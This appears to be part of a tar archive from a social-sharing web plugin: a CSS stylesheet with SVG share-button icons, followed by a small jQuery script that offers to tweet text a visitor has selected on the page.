background-image: url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M31%2013.1c-.8.4-1.7.6-2.6.7.9-.6%201.7-1.5%202-2.5-.9.5-1.8.9-2.9%201.1-.8-.9-2-1.4-3.3-1.4-2.5%200-4.5%202-4.5%204.5%200%20.4%200%20.7.1%201-3.8-.2-7.1-2-9.3-4.8-.4.7-.6%201.5-.6%202.3%200%201.6.8%203%202%203.8-.7%200-1.4-.2-2.1-.6v.1c0%202.2%201.6%204%203.6%204.5-.4.1-.8.2-1.2.2-.3%200-.6%200-.8-.1.6%201.8%202.2%203.1%204.2%203.2-1.5%201.2-3.5%201.9-5.6%201.9-.4%200-.7%200-1.1-.1%202%201.3%204.4%202.1%206.9%202.1%208.3%200%2012.9-6.9%2012.9-12.9v-.6c.9-.7%201.7-1.5%202.3-2.4z%22%2F%3E%3C%2Fsvg%3E");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-tw { background-color: #00aeef!important;}
.jllikeproSharesContayner a.l-ok .l-ico {
background-image: url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20d%3D%22M20%2020.5c3.4%200%206.2-2.8%206.2-6.3s-2.8-6.3-6.2-6.3c-3.4%200-6.2%202.8-6.2%206.3s2.8%206.3%206.2%206.3zm0-9.5c1.8%200%203.3%201.5%203.3%203.3s-1.5%203.3-3.3%203.3c-1.8%200-3.3-1.5-3.3-3.3s1.5-3.3%203.3-3.3zm6.7%2010.2c-.5-.7-1.5-.8-2.2-.3%200%200-1.7%201.3-4.5%201.3s-4.5-1.3-4.5-1.3c-.7-.5-1.7-.4-2.2.3-.5.7-.4%201.7.3%202.2.1.1%201.7%201.3%204.4%201.8l-4.1%204.2c-.6.6-.6%201.6%200%202.2.3.3.7.5%201.1.5.4%200%20.8-.2%201.1-.5l3.9-4%203.9%204c.3.3.7.5%201.1.5.4%200%20.8-.2%201.1-.5.6-.6.6-1.6%200-2.2l-4.1-4.3c2.7-.5%204.3-1.7%204.4-1.8.7-.5.8-1.5.3-2.1z%22%2F%3E%3C%2Fsvg%3E");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-ok { background-color: #f6851f!important; }
.jllikeproSharesContayner a.l-ml .l-ico{
background-image: url("data:image/svg+xml;charset=UTF-8,%3Csvg%20baseProfile%3D%22basic%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2040%2040%22%3E%3Cpath%20fill%3D%22%23fff%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M33%2020c0-7.2-5.8-13-13-13s-13%205.8-13%2013%205.8%2013%2013%2013c1.6%200%203.3-.3%204.8-.9.7-.3%201.1-1.1.8-1.8-.3-.7-1.1-1.1-1.8-.8-1.2.5-2.4.7-3.7.7-5.6%200-10.2-4.6-10.2-10.2%200-2.8%201.1-5.4%203-7.2%201.8-1.8%204.4-3%207.2-3s5.4%201.1%207.2%203c1.8%201.8%203%204.4%203%207.2%200%201.4-.3%203.5-.8%204.9-.7%201.8-2%201.3-2-.3v-9.2c0-1.2-1.5-1.9-2.4-1-1.4-1.3-3.2-2-5.2-2-4.2%200-7.6%203.4-7.6%207.6%200%204.2%203.4%207.6%207.6%207.6%201.8%200%203.5-.7%204.9-1.7.4%201.7%201.7%202.7%203.2%202.9%204.1.6%205-5.9%205-8.8zm-9.8%203.4c-.9.9-2.1%201.4-3.4%201.4-2.7%200-4.8-2.2-4.8-4.8%200-2.7%202.2-4.8%204.8-4.8%201.3%200%202.5.5%203.4%201.4%201.9%201.8%201.9%205%200%206.8z%22%2F%3E%3C%2Fsvg%3E");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-ml { background-color: #356ca4!important; }
.jllikeproSharesContayner a.l-gp .l-ico  {
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg'  viewBox='-60 -60 710.117 710.117' %3E%3Cpath fill='%23fff' d='M12,280.4c1.6-95.1,89-178.4,184.2-175.3c45.6-2.1,88.4,17.7,123.3,45.6c-14.9,16.9-30.3,33.2-46.8,48.5 c-42-29-101.7-37.3-143.6-3.8c-60,41.5-62.8,139.6-5,184.3c56.2,51,162.3,25.7,177.8-52.4c-35.2-0.5-70.4,0-105.6-1.1 c-0.1-21-0.2-42-0.1-62.9c58.8-0.2,117.6-0.3,176.5,0.2c3.5,49.4-3,101.9-33.3,142.7c-45.9,64.6-138.2,83.5-210.1,55.8 C57,434.4,5.9,358.2,12,280.4z'/%3E%3Cpath fill='%23fff' d='M487.3,210.2c17.5,0,34.9,0,52.5,0c0.1,17.5,0.2,35.2,0.4,52.7c17.5,0.2,35.2,0.2,52.7,0.4c0,17.5,0,35,0,52.5 c-17.5,0.2-35.1,0.3-52.7,0.4c-0.2,17.6-0.3,35.2-0.4,52.7c-17.5,0-35,0-52.5,0c-0.2-17.5-0.2-35.1-0.4-52.6 c-17.5-0.2-35.2-0.4-52.7-0.5c0-17.5,0-34.9,0-52.5c17.5-0.2,35.1-0.3,52.7-0.4C487,245.3,487.2,227.8,487.3,210.2z'/%3E%3C/svg%3E%0A");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-gp { background-color: #DC4E41!important;}
.jllikeproSharesContayner a.l-ln .l-ico {
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg'  viewBox='-120 -120 700.117 700.117'%3E%0A	%3Cpath fill='%23fff' d='M430.117,261.543V420.56h-92.188V272.193c0-37.271-13.334-62.707-46.703-62.707%0A		c-25.473,0-40.632,17.142-47.301,33.724c-2.432,5.928-3.058,14.179-3.058,22.477V420.56h-92.219c0,0,1.242-251.285,0-277.32h92.21%0A		v39.309c-0.187,0.294-0.43,0.611-0.606,0.896h0.606v-0.896c12.251-18.869,34.13-45.824,83.102-45.824%0A		C384.633,136.724,430.117,176.361,430.117,261.543z M52.183,9.558C20.635,9.558,0,30.251,0,57.463%0A		c0,26.619,20.038,47.94,50.959,47.94h0.616c32.159,0,52.159-21.317,52.159-47.94C103.128,30.251,83.734,9.558,52.183,9.558z%0A		 M5.477,420.56h92.184v-277.32H5.477V420.56z'/%3E%3C/svg%3E%0A");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-ln { background-color: #0077B5!important;}
.jllikeproSharesContayner a.l-pinteres .l-ico {
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg'%0A	 viewBox='-10 -10 120.001 120.001' %3E%3Cpath fill='%23fff' d='M43.081,66.14c-2.626,13.767-5.833,26.966-15.333,33.861c-2.932-20.809,4.307-36.436,7.668-53.027%0A		c-5.73-9.646,0.689-29.062,12.777-24.277c14.873,5.885-12.881,35.865,5.75,39.611c19.453,3.908,27.395-33.752,15.332-46%0A		C51.847-1.376,18.542,15.905,22.638,41.224c0.996,6.191,7.391,8.068,2.555,16.611c-11.154-2.473-14.484-11.27-14.055-23%0A		c0.69-19.197,17.25-32.639,33.86-34.498c21.006-2.352,40.721,7.711,43.443,27.471c3.066,22.303-9.48,46.459-31.943,44.721%0A		C50.41,72.056,47.853,69.04,43.081,66.14z'/%3E%3C/svg%3E%0A");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-pinteres { background-color: #BD081C!important;}
.jllikeproSharesContayner a.l-lj .l-ico {background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%0A%3Cpath fill='%2300B0EA' d='M15.861,1.919c-1.972,0-3.846,0.411-5.547,1.146L7.245,0H7.238 C3.998,1.419,1.401,4.029,0,7.28l3.074,3.071l-0.002,0.003c-0.742,1.704-1.184,3.56-1.184,5.538 c0,7.72,6.255,13.974,13.973,13.974c7.715,0,13.972-6.256,13.972-13.974C29.833,8.176,23.577,1.919,15.861,1.919'/%3E%0A%3Cpath fill='%2315374C' d='M14.437,21.696c1.4-3.251,3.999-5.861,7.238-7.281h0.002L10.316,3.071 L10.311,3.07c-3.242,1.42-5.839,4.029-7.239,7.282L14.437,21.696z'/%3E%0A%3Cpath fill='%2315374C' d='M22.489,18.29c-1.882,0.824-3.39,2.343-4.205,4.229l5.306,1.097L22.489,18.29z'/%3E%0A%3Cg fill='%23FFFFFF'%3E%0A%3Cpath d='M22.489,18.292c-0.427-2.037-0.812-3.876-0.812-3.876l-0.004,0.001 c-3.238,1.42-5.836,4.029-7.237,7.28l3.848,0.822C19.101,20.639,20.612,19.114,22.489,18.292'/%3E%0A%3Crect x='49.787' y='7.121' width='2.409' height='16.083'/%3E%0A%3Cpath d='M82.317,22.943c0,2.181-0.845,3.093-2.18,3.093v1.922c3.809,0,4.589-2.185,4.589-5.666V7.121h-2.41 L82.317,22.943L82.317,22.943z'/%3E%0A%3Cpath d='M62.714,14.806c-0.54,1.784-1.041,3.627-1.239,4.764c-0.173-1.168-0.996-3.428-1.398-4.764l-2.443-7.685 h-2.311l5.144,16.083h1.754L67.2,7.121h-2.112L62.714,14.806z'/%3E%0A%3Cpolygon points='78.094,21.252 78.092,21.252 78.092,21.221 72.364,21.221 72.37,15.945 76.861,15.945 76.861,13.959 72.37,13.959 72.37,9.106 77.684,9.106 77.684,7.118 69.961,7.121 69.961,23.205 78.092,23.208 78.092,23.205 78.098,23.205'/%3E%0A%3Cpath d='M114.328,17.373c0,2.896-0.911,4.232-2.965,4.232c-2.051,0-2.961-1.338-2.961-4.232V7.121h-2.409v9.33 c0,4.814,1.226,7.175,5.353,7.175c4.357,0,5.352-2.733,5.352-7.127V7.121h-2.368L114.328,17.373L114.328,17.373z'/%3E%0A%3Cpath d='M154.641,7.121l-5.308,16.083h2.112l1.104-3.354h5.93l1.135,3.354h2.312l-5.469-16.083H154.641z M157.822,17.925h-4.637l0.797-2.405c0.603-1.854,1.271-4.346,1.498-5.479c0.201,1.11,1.039,4.026,1.528,5.479L157.822,17.925z'/%3E%0A%3Cpath d='M95.523,7.121c-4.432,0-6.774,3.224-6.774,8.236c0,5.014,2.344,8.269,6.774,8.269 c4.424,0,6.771-3.255,6.771-8.269C102.296,10.345,99.947,7.121,95.523,7.121 M95.523,21.507c-2.703,0-4.201-2.18-4.201-6.15 c0-3.97,1.498-6.146,4.201-6.146c2.701,0,4.199,2.175,4.199,6.146C99.723,19.328,98.225,21.507,95.523,21.507'/%3E%0A%3Cpath d='M131.305,12.037c0-3.743-2.965-4.916-6.936-4.916h-2.816v16.083h2.411v-6.052h1.461 c0.642,0,1.204-0.055,1.204-0.055l2.885,6.105h2.569l-3.229-6.854C130.464,15.508,131.305,13.998,131.305,12.037 M125.477,15.162 h-1.513v-6.01h1.513c2.246,0,3.418,1.226,3.418,3.113C128.895,14.152,127.657,15.162,125.477,15.162'/%3E%0A%3Cpath d='M144.182,11.887c0,2.084,0.045,5.899,0.145,6.88c-0.436-0.938-0.857-1.789-1.438-2.697l-5.803-8.949h-1.4 v16.083h2.084v-5.8c0-3.301-0.115-5.185-0.211-5.915c0.26,0.619,1.127,2.103,1.551,2.756l5.791,8.958h1.369V7.121h-2.088V11.887z'/%3E%0A%3Cpolygon points='46.27,21.221 41.227,21.221 41.227,7.121 38.815,7.121 38.815,23.205 46.27,23.205'/%3E%0A%3Cpolygon points='167.395,21.221 167.395,7.121 164.984,7.121 164.984,23.205 172.035,23.205 172.035,21.219'/%3E%0A%3C/g%3E%0A%3C/svg%3E%0A");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-lj { background-color: #00B0EA!important;}
.jllikeproSharesContayner a.l-bl .l-ico {
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' version='1.1' id='Capa_1'  viewBox='-150 -150 730.117 730.118' xml:space='preserve'%3E%0A%3Cg%3E%0A%3Cpath id='Blogger' d='M292.938,430.118c74.995,0,135.91-61.092,136.335-135.672l0.844-109.816l-1.269-5.974l-3.604-7.516   l-6.091-4.711c-7.915-6.21-48.015,0.42-58.81-9.388c-7.663-6.996-8.858-19.637-11.173-36.77   c-4.308-33.18-7.028-34.912-12.228-46.162C318.07,34.166,266.84,4.149,231.646,0h-95.332C61.316,0,0,61.181,0,135.908v158.538   c0,74.58,61.316,135.672,136.313,135.672H292.938z M138.05,111.032h75.581c14.431,0,26.117,11.714,26.117,25.951   c0,14.179-11.687,25.989-26.117,25.989H138.05c-14.433,0-26.096-11.815-26.096-25.989   C111.954,122.747,123.617,111.032,138.05,111.032z M111.954,292.439c0-14.234,11.663-25.86,26.096-25.86h153.577   c14.337,0,25.977,11.626,25.977,25.86c0,14.043-11.64,25.855-25.977,25.855H138.05   C123.617,318.294,111.954,306.482,111.954,292.439z' fill='%23FFFFFF'/%3E%0A%3C/g%3E%0A%3C/svg%3E%0A");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-bl { background-color: #f26300!important;}
.jllikeproSharesContayner a.l-wb .l-ico {
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'  viewBox='-100 -100 711.794 711.795' xml:space='preserve'%3E%0A%3Cg%3E%0A%3Cg%3E%0A%3Cpath d='M413.691,261.553c-8.747-5.522-18.555-9.995-29.403-13.42c-2.286-0.765-3.907-1.333-4.859-1.715    c-0.951-0.381-2.098-1.093-3.425-2.141c-1.335-1.049-1.767-2.24-1.284-3.571c0.479-1.332,0.903-3.234,1.284-5.708    c8.559-21.888,8.559-38.828,0-50.819c-8.762-11.61-23.315-17.417-43.688-17.417c-20.365,0-43.776,5.617-70.229,16.845    l-1.718,0.572c-1.135,0.381-2.422,0.71-3.847,0.998c-1.431,0.288-2.812,0.333-4.143,0.144c-1.328-0.188-2.281-0.854-2.853-1.997    c-0.572-1.143-0.474-3.046,0.287-5.711c8.561-27.6,6.661-47.488-5.713-59.672c-14.083-14.084-37.541-14.75-70.377-1.997    c-32.827,12.756-65.326,35.214-97.496,67.384c-24.362,24.362-43.159,48.916-56.387,73.66C6.611,281.736,0,305.045,0,326.939    c0,20.554,6.186,39.54,18.555,56.959c12.375,17.419,28.693,31.788,48.966,43.112c20.268,11.32,43.158,20.177,68.662,26.553    c25.505,6.372,51.678,9.562,78.515,9.562c26.838,0,52.58-2.947,77.226-8.847c24.646-5.903,46.158-13.798,64.521-23.698    c18.371-9.894,34.407-21.077,48.109-33.548c13.709-12.467,24.078-25.498,31.124-39.115c7.043-13.606,10.568-26.885,10.568-39.823    c0-12.18-3.23-23.274-9.709-33.264C430.07,274.827,422.452,267.072,413.691,261.553z M320.482,392.474    c-27.884,22.553-63.05,36.019-105.493,40.396c-27.79,2.666-53.915,0.667-78.371-5.995c-24.457-6.667-44.302-17.036-59.527-31.121    c-15.227-14.09-23.697-30.27-25.41-48.544c-2.667-27.788,9.945-52.958,37.829-75.513c27.884-22.56,63.05-36.025,105.494-40.402    c27.79-2.668,53.913-0.666,78.365,5.996c24.455,6.661,44.304,17.034,59.532,31.118c15.229,14.089,23.695,30.269,25.406,48.54    C360.969,344.742,348.366,369.912,320.482,392.474z' fill='%23FFFFFF'/%3E%0A%3Cpath d='M223.269,274.126c-20.174-5.141-40.208-3.327-60.098,5.427c-19.892,8.754-34.307,21.978-43.254,39.684    c-8.946,18.076-9.567,35.923-1.857,53.529c7.71,17.607,21.745,29.644,42.112,36.121c21.126,6.848,42.447,5.708,63.953-3.433    c21.508-9.137,36.542-23.414,45.115-42.824c8.559-19.038,8.322-37.165-0.719-54.393    C259.475,291.018,244.395,279.646,223.269,274.126z M192.719,366.63c-4.188,6.468-10.135,10.992-17.848,13.559    c-7.708,2.573-14.803,2.334-21.271-0.712c-6.47-3.046-10.562-7.851-12.275-14.421c-1.714-6.561-0.477-13.076,3.71-19.551    c3.995-6.286,9.707-10.66,17.129-13.131c7.426-2.475,14.372-2.382,20.844,0.284c6.662,2.851,10.948,7.614,12.851,14.273    C197.761,353.592,196.716,360.155,192.719,366.63z M219.554,332.076c-1.331,2.478-3.427,4.24-6.28,5.287    c-2.855,1.048-5.617,1.092-8.28,0.144c-5.708-2.669-6.945-6.946-3.711-12.847c1.332-2.478,3.378-4.236,6.136-5.287    c2.758-1.047,5.47-1.092,8.136-0.14c2.474,0.947,4.139,2.713,4.998,5.283C221.409,327.08,221.078,329.609,219.554,332.076z' fill='%23FFFFFF'/%3E%0A%3Cpath d='M407.983,206.884c2.102,4.093,5.332,6.899,9.712,8.423c4.381,1.332,8.61,0.953,12.703-1.143    c4.093-2.091,6.902-5.327,8.426-9.707c3.613-10.656,4.236-21.842,1.848-33.545c-2.375-11.704-7.562-22.032-15.55-30.978    c-7.994-8.947-17.614-15.181-28.839-18.704c-11.231-3.521-22.556-4.043-33.972-1.569c-4.575,0.953-8.094,3.381-10.571,7.282    c-2.471,3.9-3.23,8.136-2.275,12.703c0.76,4.569,3.135,8.09,7.128,10.564c4.001,2.474,8.282,3.235,12.854,2.286    c11.995-2.475,22.169,0.857,30.55,9.992c8.378,9.134,10.656,19.698,6.852,31.691C405.505,198.556,405.892,202.792,407.983,206.884    z' fill='%23FFFFFF'/%3E%0A%3Cpath d='M508.917,156.918c-4.859-24.075-15.561-45.251-32.121-63.522c-16.562-18.46-36.356-31.261-59.395-38.403    c-23.028-7.139-46.243-8.232-69.661-3.284c-5.332,1.143-9.473,3.949-12.423,8.424c-2.95,4.476-3.854,9.375-2.707,14.705    c1.14,5.33,3.99,9.469,8.565,12.419c4.562,2.95,9.514,3.855,14.839,2.712c16.563-3.424,33.03-2.614,49.396,2.428    c16.371,5.044,30.457,14.13,42.26,27.264c11.797,12.944,19.418,27.978,22.844,45.111c3.429,17.128,2.478,33.498-2.854,49.105    c-1.52,5.142-1.047,10.09,1.431,14.849c2.471,4.758,6.276,7.992,11.416,9.707c5.141,1.709,10.089,1.331,14.846-1.143    c4.76-2.474,7.997-6.28,9.712-11.42C512.486,203.981,513.769,180.997,508.917,156.918z' fill='%23FFFFFF'/%3E%0A%3C/g%3E%3C/g%3E%0A%3C/svg%3E%0A");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-wb { background-color: #c53220!important; }
.jllikeproSharesContayner a.l-tl .l-ico {
    background-image: url("data:image/svg+xml,%3C%3Fxml version='1.0'%3F%3E%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' viewBox='0 0 240 240'%3E%3Cdefs%3E%3ClinearGradient id='b' x1='0.6667' y1='0.1667' x2='0.4167' y2='0.75'%3E%3Cstop stop-color='%2337aee2' offset='0'/%3E%3Cstop stop-color='%231e96c8' offset='1'/%3E%3C/linearGradient%3E%3ClinearGradient id='w' x1='0.6597' y1='0.4369' x2='0.8512' y2='0.8024'%3E%3Cstop stop-color='%23eff7fc' offset='0'/%3E%3Cstop stop-color='%23fff' offset='1'/%3E%3C/linearGradient%3E%3C/defs%3E%3Cpath fill='%23c8daea' d='m98 175c-3.8876 0-3.227-1.4679-4.5678-5.1695L82 132.2059 170 80'/%3E%3Cpath fill='%23a9c9dd' d='m98 175c3 0 4.3255-1.372 6-3l16-15.558-19.958-12.035'/%3E%3Cpath fill='url%28%23w%29' d='m100.04 144.41 48.36 35.729c5.5185 3.0449 9.5014 1.4684 10.876-5.1235l19.685-92.763c2.0154-8.0802-3.0801-11.745-8.3594-9.3482l-115.59 44.571c-7.8901 3.1647-7.8441 7.5666-1.4382 9.528l29.663 9.2583 68.673-43.325c3.2419-1.9659 6.2173-0.90899 3.7752 1.2584'/%3E%3C/svg%3E");
    background-repeat: no-repeat;}
    .jllikeproSharesContayner a.l-tl { background-color: #32afed!important;}
.jllikeproSharesContayner a.l-wa .l-ico {
background-image: url("data:image/svg+xml,%3C%3Fxml version='1.0' encoding='iso-8859-1'%3F%3E%3Csvg version='1.1' id='Capa_1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' viewBox='-15 -15 120 120' style='enable-background:new 0 0 90 90;' xml:space='preserve'%3E%3Cg%3E%3Cpath id='WhatsApp' fill='%23FFFFFF' d='M90,43.841c0,24.213-19.779,43.841-44.182,43.841c-7.747,0-15.025-1.98-21.357-5.455L0,90l7.975-23.522 c-4.023-6.606-6.34-14.354-6.34-22.637C1.635,19.628,21.416,0,45.818,0C70.223,0,90,19.628,90,43.841z M45.818,6.982 c-20.484,0-37.146,16.535-37.146,36.859c0,8.065,2.629,15.534,7.076,21.61L11.107,79.14l14.275-4.537 c5.865,3.851,12.891,6.097,20.437,6.097c20.481,0,37.146-16.533,37.146-36.857S66.301,6.982,45.818,6.982z M68.129,53.938 c-0.273-0.447-0.994-0.717-2.076-1.254c-1.084-0.537-6.41-3.138-7.4-3.495c-0.993-0.358-1.717-0.538-2.438,0.537 c-0.721,1.076-2.797,3.495-3.43,4.212c-0.632,0.719-1.263,0.809-2.347,0.271c-1.082-0.537-4.571-1.673-8.708-5.333 c-3.219-2.848-5.393-6.364-6.025-7.441c-0.631-1.075-0.066-1.656,0.475-2.191c0.488-0.482,1.084-1.255,1.625-1.882 c0.543-0.628,0.723-1.075,1.082-1.793c0.363-0.717,0.182-1.344-0.09-1.883c-0.27-0.537-2.438-5.825-3.34-7.977 c-0.902-2.15-1.803-1.792-2.436-1.792c-0.631,0-1.354-0.09-2.076-0.09c-0.722,0-1.896,0.269-2.889,1.344 c-0.992,1.076-3.789,3.676-3.789,8.963c0,5.288,3.879,10.397,4.422,11.113c0.541,0.716,7.49,11.92,18.5,16.223 C58.2,65.771,58.2,64.336,60.186,64.156c1.984-0.179,6.406-2.599,7.312-5.107C68.398,56.537,68.398,54.386,68.129,53.938z'/%3E%3C/g%3E%3C/svg%3E%0A");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-wa { background-color: #00e676!important;}
.jllikeproSharesContayner a.l-vi .l-ico {
background-image: url("data:image/svg+xml,%3C%3Fxml version='1.0' encoding='utf-8'%3F%3E%3Csvg version='1.1' id='Layer_1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x='0px' y='0px' viewBox='0 0 1024 1024' style='enable-background:new 0 0 1024 1024;' xml:space='preserve'%3E%3Cstyle type='text/css'%3E .st0%7Bfill:%23FFFFFF;%7D .st1%7Bfill:none;stroke:%23FFFFFF;stroke-width:16.8562;stroke-linecap:round;stroke-linejoin:round;%7D%0A%3C/style%3E%3Cg%3E%3Cpath class='st0' d='M746.1,249.1c-16.6-15.2-83.5-63.8-232.5-64.5c0,0-175.8-10.6-261.5,68c-47.7,47.7-64.5,117.5-66.2,204.1 c-1.8,86.6-4.1,248.7,152.3,292.7c0,0,0.1,0,0.1,0l-0.1,67.1c0,0-1,27.2,16.9,32.7c21.6,6.7,34.3-13.9,55-36.2 c11.3-12.2,27-30.2,38.8-43.9c106.9,9,189.2-11.6,198.5-14.6c21.6-7,143.8-22.7,163.6-184.8C831.5,402.6,801.1,296.8,746.1,249.1z M764.2,557.7c-16.8,135.4-115.9,144-134.1,149.8c-7.8,2.5-80,20.5-170.8,14.5c0,0-67.7,81.6-88.8,102.9c-3.3,3.3-7.2,4.7-9.8,4 c-3.6-0.9-4.6-5.2-4.6-11.5c0.1-9,0.6-111.5,0.6-111.5c-0.1,0-0.1,0,0,0c-132.2-36.7-124.5-174.8-123-247.1 c1.5-72.3,15.1-131.5,55.4-171.3c72.5-65.6,221.8-55.8,221.8-55.8c126.1,0.6,186.5,38.5,200.5,51.2 C757.9,322.8,781.6,418.1,764.2,557.7z'/%3E%3Cpath class='st1' d='M574.9,452.9c-1.6-33.1-18.4-50.4-50.4-52.1'/%3E%3Cpath class='st1' d='M618.2,467.4c0.7-30.8-8.4-56.5-27.4-77.2c-19-20.7-45.3-32.2-79.1-34.6'/%3E%3Cpath class='st1' d='M662.5,484.8c-0.4-53.5-16.4-95.5-47.9-126.3c-31.5-30.7-70.8-46.3-117.7-46.6'/%3E%3Cpath class='st0' d='M526.2,565.8c0,0,11.9,1,18.2-6.9l12.4-15.6c6-7.8,20.5-12.7,34.7-4.8c7.9,4.5,22.1,13.2,30.9,19.7 c9.4,6.9,28.7,23,28.7,23c9.2,7.7,11.3,19.1,5.1,31.1c0,0.1-0.1,0.2-0.1,0.2c-6.4,11.3-15,22-25.9,31.9c-0.1,0.1-0.1,0.1-0.2,0.2 c-8.9,7.4-17.7,11.7-26.3,12.7c-1,0.2-2.3,0.3-3.8,0.2c-3.8,0-7.5-0.5-11.2-1.7l-0.3-0.4c-13.3-3.7-35.4-13.1-72.3-33.4 c-24-13.2-43.9-26.7-60.7-40.1c-8.9-7-18-15-27.3-24.2c-0.3-0.3-0.6-0.6-0.9-0.9c-0.3-0.3-0.6-0.6-0.9-0.9l0,0c0,0,0,0,0,0 c-0.3-0.3-0.6-0.6-0.9-0.9c-0.3-0.3-0.6-0.6-0.9-0.9c-9.2-9.3-17.2-18.4-24.2-27.3c-13.4-16.8-26.9-36.8-40.1-60.7 c-20.3-36.9-29.7-59-33.4-72.3l-0.4-0.3c-1.2-3.7-1.8-7.4-1.7-11.2c-0.1-1.5,0-2.8,0.2-3.8c1-8.6,5.3-17.4,12.7-26.3 c0.1-0.1,0.1-0.1,0.2-0.2c9.9-10.9,20.5-19.5,31.9-25.9c0.1,0,0.2-0.1,0.2-0.1c12-6.2,23.4-4.1,31.1,5.1c0.1,0.1,16.1,19.3,23,28.7 c6.5,8.9,15.3,23,19.7,30.9c7.9,14.2,3,28.7-4.8,34.7l-15.6,12.4c-7.9,6.4-6.9,18.2-6.9,18.2S439.6,543.7,526.2,565.8z'/%3E%3C/g%3E%3C/svg%3E%0A");
background-repeat: no-repeat;}
.jllikeproSharesContayner a.l-vi { background-color: #665CAC!important;}
    
.jllikeproSharesContayner
i {vertical-align: top;float: none;display: inline-block;width: 30px;height: 30px;background-image: none;-webkit-border-radius: 50%;-webkit-background-clip: padding-box;-moz-border-radius: 50%;-moz-background-clip: padding;border-radius: 50%;background-clip: padding-box;position: static;}
.jllikeproSharesContayner span {vertical-align: top;float: none;display: inline-block;width: auto;height: 30px;background-image: none;position: static;font-size: 1rem;line-height: 30px;color: #122334;-webkit-transition: all .2s;-moz-transition: all .2s;-o-transition: all .2s;transition: all .2s;}
body>p:first-child { display: none }
.like { cursor: default }
.like i, .l-count { cursor: pointer }
.l-all i {display: none;}
.l-all-count {margin-left: 20px;margin-right: 20px;}
.likes-block_left {text-align:left;}
.likes-block_right {text-align:right;}
.likes-block_center {text-align:center;}
.event-container {padding-left: 12px;padding-right: 12px;}
.event-container .like .l-count {color: #FFF;}
.jllikeproSharesContayner a:hover { opacity: 0.85; }
.jllikeproSharesContayner a {margin-bottom: 6px; text-decoration: none !important;}                                                                                                                                                                                                                                                                                                                                                                                                                                                content/jllike/js/twit.js                                                                           0000705                 00000006526 15242051520 0011434 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       var twShareObject =
{
    vars: {
        popupWidth: 600,
        popupHeight: 400,
        text: 'Поделиться в Твиттере',
        url: document.location.href
    },

    $shareButton: null,

    openPopup: function (a, url) {
        var width = a.vars.popupWidth;
        var height = a.vars.popupHeight;
        var left = (window.innerWidth ? window.innerWidth : document.documentElement.clientWidth ? document.documentElement.clientWidth : screen.width) / 2 - width / 2 + (void 0 !== window.screenLeft ? window.screenLeft : screen.left);
        var top = (window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : screen.height) / 3 - height / 3 + (void 0 !== window.screenTop ? window.screenTop : screen.top);
        a.$shareButton.hide();
        try {
            window.open(
                url,
                "_blank",
                "scrollbars=yes, width=" + width + ", height=" + height + ", top=" + top + ", left=" + left)
                .focus();
        } catch (e) {
        }
    },

    onMouseUp: function (a) {
        var b = a.data.share,
            selectedText = b.getSelectedText();
        if (selectedText.length < 3) {
            b.$shareButton.hide();
            return;
        }
        var coords = b.mouseShowHandler(a);
        a = jQuery(a.delegateTarget);
        b.$shareButton
            .css({position: 'absolute', left: coords.x + 43, top: coords.y - 43})
            .data("url", b.vars.url).show();
    },

    shareClick: function (a) {
        a.preventDefault();
        a = a.data.share;
        var b = a.getSelectedText();
        a.openPopup(a, "https://twitter.com/intent/tweet?url=" + encodeURIComponent(a.$shareButton.data("url")) + "&text=" + encodeURIComponent(b))
        a.$shareButton.hide();
    },

    mouseShowHandler: function (e) {
        e = e || window.event;
        if (e.pageX == null && e.clientX != null) {
            var html = document.documentElement;
            var body = document.body;
            e.pageX = e.clientX + (html && html.scrollLeft || body && body.scrollLeft || 0) - (html.clientLeft || 0);
            e.pageY = e.clientY + (html && html.scrollTop || body && body.scrollTop || 0) - (html.clientTop || 0);
        }
        return {x: e.pageX, y: e.pageY};
    },

    getSelectedText: function () {
        var txt;
        if (window.getSelection)
            txt = window.getSelection().toString();
        else if (document.getSelection)
            txt = document.getSelection();
        else if (document.selection)
            txt = document.selection.createRange().text;
        return txt;
    },

    init: function () {
        var a = this;
        var $body = jQuery('body');
        this.$shareButton = jQuery("<a/>")
            .addClass("share-button-tw")
            .attr({
                id: 'share-button-tw',
                href: document.location.href,
                title: this.vars.text
            })
            .text(this.vars.text)
            .hide()
        ;
        this.$shareButton.appendTo($body);
        $body.on("mouseup", {share: this}, this.onMouseUp);
        this.$shareButton.on("click", {share: this}, this.shareClick);
    }
};

